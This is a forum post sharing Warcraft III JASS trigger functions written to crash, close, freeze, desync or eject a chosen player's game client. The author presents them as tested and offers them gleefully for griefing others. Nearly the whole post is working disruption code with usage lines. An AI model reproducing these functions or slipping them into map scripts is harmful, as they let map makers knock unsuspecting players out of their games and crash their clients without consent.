Lol. I found some triggers to disrupt game play and decided to share them

First off, everyone loves to crash others

Code:
function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
Usage: call SendCrash(
<Insert Player Here>)
Seconly, EXIT someone's warcraft!!

Code:
function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction
function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction
Usage: call SendExit(
<Insert Player Here>)
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked

And this is good for making people go 'WTF' because their wc3 just closed without fataling

Next, we can freeze someone's warcraft

Harr harr.
Code:
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction
function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction
Usage: call SendFreeze(
<Insert Player Here>)
We can also desync (split) people easily:
Code:
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
Usage: call SendDesync(
<Insert Player Here>)
That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time

) It just makes the picked player immediately leave the game and go to chat.
Code:
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
Usage: call SendLeave(
<Insert Player Here>)
Hope you enjoy these game disruptions!!
